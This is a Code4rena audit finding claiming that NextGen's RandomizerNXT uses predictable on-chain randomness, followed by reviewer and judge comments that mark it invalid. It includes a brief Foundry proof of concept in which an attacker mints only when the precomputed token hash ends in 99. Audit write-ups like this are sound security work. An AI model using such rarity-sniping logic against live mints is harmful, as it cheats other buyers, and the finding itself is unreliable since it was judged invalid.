Bad source of randomness

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/XRandoms.sol#L35
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/XRandoms.sol#L40
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerNXT.sol#L57

Vulnerability details

Impact

The custom made randomizer contract RandomizerNXT uses on chain randomness which can be gamed to mint NFTs with a certain rarity or desired feature.

An attacker can predetermine the result of calculateTokenHash() and only choose to mint if the result is desirable.

Proof of Concept

In this example we use a fixed price sale where NFTs are sold for 1 ETH.

The attacker calculates the hash and only mints if the result is favourable to them.

uint collectionId = 5;

uint256 mintIndex = hhCore.viewTokensIndexMin(collectionId) + hhCore.viewCirSupply(collectionId);

// desirable nfts have a token hash that ends with 99
// we only want to mint an nft if the token hash ends with 99

vm.startPrank(attacker);

if (uint(hhCore.retrieveTokenHash(mintIndex)) % 100 == 99) {
    // mint 1 token from collection 5
    bytes32[] memory merkleRoot = new bytes32[](1);

    hhMinter.mint{value: 1 ether}(
        collectionId, // _collectionID
        1, // _numberOfTokens
        0, // _maxAllowance
        '{"tdh": "100"}', // _tokenData
        attacker, // _mintTo
        merkleRoot, // _merkleRoot
        addr1, // _delegator
        2 //_varg0
    );
}

vm.stopPrank();

Tools Used

Foundry

Recommended Mitigation Steps

The solution which is to use a more secure source of randomness is already implemented in the 2 other randomizers that use VRF's.

This means the weak randomness from RandomizerNXT and XRandoms is redundant and can be safely removed.

Assessed type

Other

[c4-pre-sort]

141345 marked the issue as primary issue

[c4-sponsor]

a2rocket (sponsor) disputed

[c4-pre-sort]

141345 marked the issue as sufficient quality report

[c4-judge]

alex-ppg marked the issue as duplicate of #1901

[c4-judge]

alex-ppg marked the issue as unsatisfactory:
Invalid

[c4-judge]

alex-ppg marked the issue as unsatisfactory:
Invalid